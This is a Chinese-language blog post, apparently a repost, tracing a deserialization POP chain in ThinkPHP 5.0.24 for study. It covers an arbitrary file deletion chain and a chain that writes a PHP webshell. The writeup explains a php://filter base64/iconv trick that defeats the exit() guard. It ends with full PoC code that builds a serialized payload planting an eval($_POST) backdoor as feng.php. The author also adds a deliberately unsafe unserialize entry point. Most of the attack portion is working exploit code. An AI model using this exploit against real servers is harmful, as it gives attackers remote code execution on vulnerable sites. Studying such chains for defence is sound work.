返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >Thinkphp5.0.24 pop链子学习
  • 239
分享到

Thinkphp5.0.24 pop链子学习

phpweb安全 2023-10-02 19:10:57 239人浏览 安东尼
摘要

目录 前言: 任意删除文件 poc 恶意文件上传  三处存在__call漏洞可能 绕过getRelationData方法中的三个条件 调用__call之后的操作 利用php为协议来绕过exit();?> poc 前言: 下载地址:下载

目录

前言:

任意删除文件

poc

恶意文件上传

 三处存在__call漏洞可能

绕过getRelationData方法中的三个条件

调用__call之后的操作

利用php为协议来绕过exit();?>

poc


前言:

下载地址:下载:ThinkPHP5.0.24核心版 - ThinkPHP框架

利用的PHPstudy+phpStORM搭建的debug环境。

首先在app\index\controller下的index.php设置一个传入点。

index.php

ion index()    {        echo 'welcome to tp5024';        if(isset($_GET['feng'])){            $feng = base64_decode($_GET['feng']);            unserialize($feng);        }    }}

一开始接触,感觉最好找一个链子,debug一下,一步一步跟,不然直接自己找的话会看的头疼。

任意删除文件

windows.php的__destruct中。

 跟进一下removeFiles。

private function removeFiles()    {        foreach ($this->files as $filename) {            if (file_exists($filename)) {                @unlink($filename);            }        }        $this->files = [];    }

 大概意思是对files遍历,将file赋值给filename,跟一下file。

发现file可控,然后看一下file在哪个类里。

发现Windows继承了 Pipes。

poc

下个断点,很容易看清其走向。

 

 

 然后便会发现1.txt已经被删除。

恶意文件上传

file_exists搭配对象可以跳到__toString。

 在Model.php的__toString中,进入toJSON然后跟进,到toArray()。

    public function __toString()    {        return $this->toJson();    }    public function toJson($options = JSON_UNESCAPED_UNICODE)    {        return json_encode($this->toArray(), $options);    }

 三处存在__call漏洞可能

$item[$key] = $relation->append([$attr])->toArray();$bindAttr = $modelRelation->getBindAttr();$item[$key] = $value ? $value->getAttr($attr) : null;

找一下可控变量,$value可控,往上边跟一下。

$value = $this->getRelationData($modelRelation);

$value是在getRelationData中返还,跟进看一下。

$value = $this->parent;

看一下parent是否可控,发现可控,看一下if条件。

三个条件:

$this->parent!$modelRelation->isSelfRelation()get_class($modelRelation->getModel()) == get_class($this->parent)

第一个:parent可控。

第二个:

 可控

第三个:跟进getModel函数

 query可控,然后又调用了getModel,再跟进,在thinkphp\library\think\db\Query.php中发现getModel方法。

 返还model,参数可控。

绕过getRelationData方法中的三个条件

三个条件都可以满足,可以进入if条件。

再看下边代码中的$modelRelation参数。

$value = $this->getRelationData($modelRelation);

$modelRelation被relation控制,relation被Loader::parseName控制,跟一下。

发现其只是一个大小写变化,不会改变name参数,因为$name可控,所以$relation可控。

if (method_exists($this, $relation)) {               $modelRelation = $this->$relation();               $value         = $this->getRelationData($modelRelation);

想进入if语句,需要满足这个method_exists,则需要将$relation设定为$this中存在的方法,relation可以控制,this指的是Model这个类,看一起其中哪一个方法返回参数可以直接控制。

发现了getError方法,且返回的error参数可以直接控制。

error参数的值刚好直接可以返还给$modelRelation。

$modelRelation = $this->$relation();

这里的relation()可以直接当作getError(),返还error的值,所以$modelRelation=$error

想进入改语句,需要先解决前边几个if条件。

if (method_exists($modelRelation, 'getBindAttr'))$bindAttr = $modelRelation->getBindAttr()if ($bindAttr)

下边的一个if语句刚好就是modelRelation的getBindAttr方法返回的值,跟一下getBindAttr。

在OneToOne.php发现该方法,并且bindAttr可控,第二个if条件也可以过了。

    public function getBindAttr()    {        return $this->bindAttr;    }

OneToOne是一个抽象类,且OneToOne类是Relation类的派生类,然后找一下谁继承了OneToOne,找到了class HasOne extends OneToOne,HasOne继承了OneToOne。可以直接让让$modelRelation的值为HasOne,可以满足getRelationData方法中if第三个条件的getModel方法,并且其中也有bindAttr可控。

然后进入if (isset($this->data[$key]))的else条件便可以调用__call方法。

调用__call之后的操作

public function __call($method, $args)    {        if (in_array($method, $this->styles)) {            array_unshift($args, $method);            return call_user_func_array([$this, 'block'], $args);        }        if ($this->handle && method_exists($this->handle, $method)) {            return call_user_func_array([$this->handle, $method], $args);        } else {            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);        }    }}

call函数中in_array的$method, $this->styles两个参数可控,可以进入if语句,然后可以实现block方法,跟进一下block。

直接到了write方法,发现handel可控,找一个存在可控write方法的类利用。 

 $this->handler可控,再找一下可以利用的set方法。

在thinkphp\library\think\cache\driver\File.php中发现set且存在一个写入文件的操作。

public function set($name, $value, $expire = null)    {        if (is_null($expire)) {            $expire = $this->options['expire'];        }        if ($expire instanceof \DateTime) {            $expire = $expire->getTimestamp() - time();        }        $filename = $this->getCacheKey($name, true);        if ($this->tag && !is_file($filename)) {            $first = true;        }        $data = serialize($value);        if ($this->options['data_compress'] && function_exists('gzcompress')) {            //数据压缩            $data = gzcompress($data, 3);        }        $data   = "\n" . $data;        $result = file_put_contents($filename, $data);        if ($result) {            isset($first) && $this->setTagitem($filename);            clearstatcache();            return true;        } else {            return false;        }    }

首先看一下filename和data是否可控。

$filename = $this->getCacheKey($name, true);

filename由getCacheKey决定,跟一下getCacheKey。

$filename = $this->options['path'] . $name . '.php';

filename类型后缀为php,前边的options['path']和name可控。

 很明显可以看出$data=$value=$sessData=$newline=ture,所以data不可控,直接这样写入文件行不通,但在后边的setTagItem方法中,再一次调用了set方法。

    protected function setTagItem($name)    {        if ($this->tag) {            $key       = 'tag_' . md5($this->tag);            $this->tag = null;            if ($this->has($key)) {                $value   = explode(',', $this->get($key));                $value[] = $name;                $value   = implode(',', array_unique($value));            } else {                $value = $name;            }            $this->set($key, $value, 0);        }    }

此时$key和$value均可控。

利用php为协议来绕过exit();?>

利用php://filter中string.rot13过滤器去除”exit”。string.rot13的特性是编码和解码都是自身完成,利用这一特性可以去除exit。在经过rot13编码后会变成,前提是PHP不开启short_open_tag。

但这次遇到的和平常的不太一样,本地尝试一下如何才能绕过。

\n" . $content1;file_put_contents($filename,$data);?>

当我前边加一个a时。

 当加到三个a时,发现成功。

 

 

所以要使用伪协议绕过时,需要前方加入字符来使其可以进行base64解码。

第二次file_put_contents($filename, $data);时的filename和data数据基本一样,所以我又本地试了一下。

\n" . $content;echo $data;file_put_contents($filename,$data);?>

这次需要用到php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAGCGhwaW5mbygpOz8+IA==/../1.php,之前的payload无法成功。

php的php://filter/convert.iconv.UTF8.UTF-7这种filter可以用来转换编码,和linux系统中的iconv命令一致,可以用来转xml进行xxe-waf绕过。

成功后便可以开始写exp,我写了好多次才成功。

首先先把进入tostring那一部分写出来。

files = [];    }}

给files赋值成对象,tostring在Model中,但Model是一个抽象类,无法直接实例化,找一下Model的继承类,然后回头看一下Model中都需要改哪一些参数。

首先是append的key最后要赋值给$relation,然后还会将relation当作方法利用返回$modelRelation所以要让append = ['getError'],紧接着就是判断$modelRelation中是否有getBindAttr方法。我们做的操作是给getError中返还的error参数赋值成HasOne()对象,让$modelRelation=new HasOne(),因为HasOne继承了抽象类OneToOne,且其中存在可控的getBindAttr方法及参数bindAttr。

然后就到了给$value赋值,value是跳到call的关键点,到getRelationData,让parent=new Output(),Relation抽象类中的$selfRelation=false,此时便可使value等于new Output()。

$bindAttr = $modelRelation->getBindAttr();

 getBindAttr方法是OneToOne中的,返还的是bindAttr,这里给bindAttr赋值=["no","1"],可以绕过if (isset($this->data[$key])),直接进入else,然后再进入Output中的call方法。

对call方法分析,首先是进入第一个if条件,in_array($method, $this->styles)返回真,因为method是从Mode中的$attr直接赋值过来的,所以使method相等in_array即可返回真,$attr是$bindAttr的键值,调试一下。

 发现method为getAttr,所以令$this->styles='getAttr'即可。

后边就是绕过死亡函数,上边已经讲过了,就不再说了。

poc

files = [new Pivot()];    }}namespace think;use think\model\relation\HasOne;use think\console\Output;use think\db\Query;abstract class Model{    protected $append = [];    protected $error;    public $parent;    protected $query;    function __construct()    {        $this->append=['getError'];        $this->error=new HasOne();        $this->query=new Query();        $this->parent=new Output();    }}namespace think\model;use think\Model;class Pivot extends Model{}namespace think\model\relation;use think\model\Relation;abstract class OneToOne extends Relation{ # OneToOne抽象类    function __construct(){        parent::__construct();    }}// HasOneclass HasOne extends OneToOne{    protected $bindAttr = [];    function __construct(){        parent::__construct();        $this->bindAttr = ["no","123"];    }}namespace think\model;use think\db\Query;abstract class Relation{    protected $selfRelation;    protected $query;    function __construct(){        $this->selfRelation = false;        $this->query= new Query();    }}namespace think\db;use think\console\Output;class Query{    protected $model;    function __construct(){        $this->model = new Output(); //让其与parent一直,通过getRelationData的第三个条件    }}namespace think\console;use think\session\driver\Memcache;class Output{    private $handle = null;    protected $styles = [];    function __construct()    {        $this->styles = ['getAttr'];        $this->handle=new Memcache();    }}namespace think\session\driver;use think\cache\driver\File;class Memcache{    protected $handler = null;    function __construct()    {        $this->handler = new File();    }}namespace think\cache\driver;class File{    protected $options = [];    protected $tag;    function __construct()    {        $this->options = [            'expire' => 0,            'cache_subdir' => false,            'prefix' => '',            'path'=>'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydmZW5nJ10pOz8+IA==/../feng.php',            'data_compress' => false,        ];        $this->tag = true;    }    public function Getfilename()    {        $name = md5('tag_' . md5($this->tag));        $filename = $this->options['path'];        $pos = strpos($filename, "/../");        $filename = urlencode(substr($filename, $pos + strlen("/../")));        return $filename . $name . ".php";    }}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));echo "\n";$a = new File();echo $a->Getfilename();

 传参后直接访问文件,文件名就是exp中打印出来的文件名

另一个rce链子因为环境问题一直没复现成功,等之后再加吧。

感觉自己太菜了,就这么一点代码,跟了一整天才搞完。

参考文章:

(7条消息) Thinkphp 5.0.24反序列化漏洞导致RCE分析_浔阳江头夜送客丶的博客-CSDN博客_thinkphp v5.0.24 漏洞

(7条消息) thinkphp5.0.24反序列化链子分析_XiLitter的博客-CSDN博客_thinkphp v5.0.24

来源地址:https://blog.csdn.net/akxnxbshai/article/details/127416166

--结束END--

本文标题: Thinkphp5.0.24 pop链子学习

本文链接: https://lsjlt.com/news/422782.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • Thinkphp5.0.24 pop链子学习
    目录 前言: 任意删除文件 poc 恶意文件上传  三处存在__call漏洞可能 绕过getRelationData方法中的三个条件 调用__call之后的操作 利用php为协议来绕过exit();> poc 前言: 下载地址:下载:...
    99+
    2023-10-02
    php web安全
  • python链接oracle学习
    必要组件安装activepython   python的windows支持组件【类unix系统都自带的有python组件】下载【百度activepython】oracle_client  ...
    99+
    2024-04-02
  • Python_学习python链接
    1: http://www.pyshell.com/index.php/archives/category/python2:  http://phinecos.blog.51cto.com/1941821/8156223. http://d...
    99+
    2023-01-31
    链接 python
  • Redis学习笔记(二) 链表
    链表提供了高效的节点重排能力,以及顺序性的节点访问方式,并且可以通过增删节点来灵活地调整链表的长度。 redis中链表应用广泛,如list中就使用了链表。 每一个链表节点使用listNode结构标识(双向链表): typedef...
    99+
    2017-01-27
    Redis学习笔记(二) 链表
  • 如何学习并掌握链表
    本篇内容介绍了“如何学习并掌握链表”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!简介链表(Linked &...
    99+
    2024-04-02
  • 学习Python 免费电子书 TOP10
    Python电子书《简明 Python 教程》 中文版《Python学习手册》《Python语言入门》《Learning Python》第5版《Python Algorithms》《python for data analysis》《Na...
    99+
    2023-01-31
    电子书 Python
  • python学习之路--hook(钩子原
    ** 什么是钩子 ** 之前有转一篇关于回调函数的文章http://blog.csdn.net/Mybigkid/article/details/67644490 钩子函数、注册函数、回调函数,...
    99+
    2023-01-31
    钩子 之路 python
  • 橙子科技php_ser靶场学习记录
    该靶场为重庆橙子科技制作,主要是为了教学引导用的,所以里面的大部分题都不能算严格意义上的ctf题目。但是,这些题目可以很好地帮助理解并运用PHP反序列化知识。由于本文是我做靶场题目时分析题目的纯记录,当时没有认真写,所以可读性会不太好。  ...
    99+
    2023-10-18
    php 科技 学习
  • python学习(三)--跟着例子写的贴
    from urllib import requestimport urllib#爬贴吧网页文件到本地。首先在本地打开百度贴吧 搜索 java吧#第一页的内容是:http://tieba.baidu.com/fie=utf-8&k...
    99+
    2023-01-31
    例子 python
  • python学习(六)--正则的一些例子
    import re#正则表达式#compile函数,--将正则表达式转变为内部函数,提高执行效率strr = "python123456"pattern = "Python"res = re.compile(pattern)#当忽略匹配大小...
    99+
    2023-01-31
    正则 例子 python
  • 区块链学习(3)--以太坊Dapp开发
    DApp是Decentralized Application的缩写,译为:分散式的应用程序。App我们都知道,我们在智能手机上安装的应用程序也就是App。而DApp比App多了一个‘D’,‘D’的意思是分散式的。意思是 分散式的应用程序/...
    99+
    2023-01-31
    以太 区块 Dapp
  • OpenCV学习之图像梯度算子详解
    目录1.Sobel算子2.Scharr算子3.laplacian算子本文是OpenCV图像视觉入门之路的第12篇文章,本文详细的介绍了图像梯度算子的各种操作,例如:Sobel算子Sc...
    99+
    2023-02-15
    OpenCV图像梯度算子 OpenCV 算子 OpenCV图像
  • Go语言学习之链表的使用详解
    目录1. 什么是链表2. 单项链表的基本操作3. 使用 struct 定义单链表4. 尾部添加节点5. 头部插入节点6. 指定节点后添加新节点7. 删除节点1. 什么是链表 链表是一...
    99+
    2024-04-02
  • PHP学习笔记:区块链技术与应用
    引言:区块链技术近年来在互联网领域迅猛发展,被广泛应用于金融、物联网、医疗等领域。作为一名PHP开发者,了解并掌握区块链技术及其应用,对于提升自身技术水平和开发能力都有着重要意义。本文将介绍区块链的基本概念、原理和常用算法,并通过具体的PH...
    99+
    2023-10-21
    区块链 应用 PHP
  • go语言区块链学习调用以太坊
    目录1. geth 简介1.1 下载地址:1.2 安装:1.3 查看是否安装成功2. geth命令介绍3. geth常用命令3.1 指定数据目录 --datadir3.2 账户相关3...
    99+
    2024-04-02
  • C语言学习之链表的实现详解
    目录一、链表的概念二、链表的结构三、顺序表和链表的区别和联系四、链表的实现一、链表的概念 链表是一种物理存储结构上非连续、非顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针链接次...
    99+
    2022-11-13
    C语言 链表实现 C语言 链表
  • C语言算法学习之双向链表详解
    目录一、练习题目二、算法思路1、设计浏览器历史记录2、扁平化多级双向链表3、展平多级双向链表4、二叉搜索树与双向链表一、练习题目 题目链接难度1472. 设计浏览器历史记录★★★☆☆...
    99+
    2024-04-02
  • go语言区块链学习调用智能合约
    目录1. 获取abi文件合约的接口2. 安装abigen工具3. remix连接私有链4. 合约部署5. 初始化私有链节点创世块6. 合约部署7. 调用1. 获取abi文件 合约的接...
    99+
    2024-04-02
  • python深度学习人工智能BackPropagation链式法则
    目录1.链式法则2.前向传播3.后向传播4.计算方式整理5.总结1.链式法则 根据以前的知识,如果我们需要寻找到目标参数的值的话,我们需要先给定一个初值,然后通过梯度下降,不断对其...
    99+
    2024-04-02
  • PHP学习笔记:电子商务与在线交易
    一、引言电子商务已经成为了现代社会的重要组成部分,越来越多的商家和消费者选择在网络上进行交易。而作为一名有志于从事电子商务开发的PHP程序员,掌握相关知识是非常重要的。本文将从电子商务与在线交易的基本概念出发,介绍相关的PHP编程技术,以及...
    99+
    2023-10-21
    电商 PHP 在线交易
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作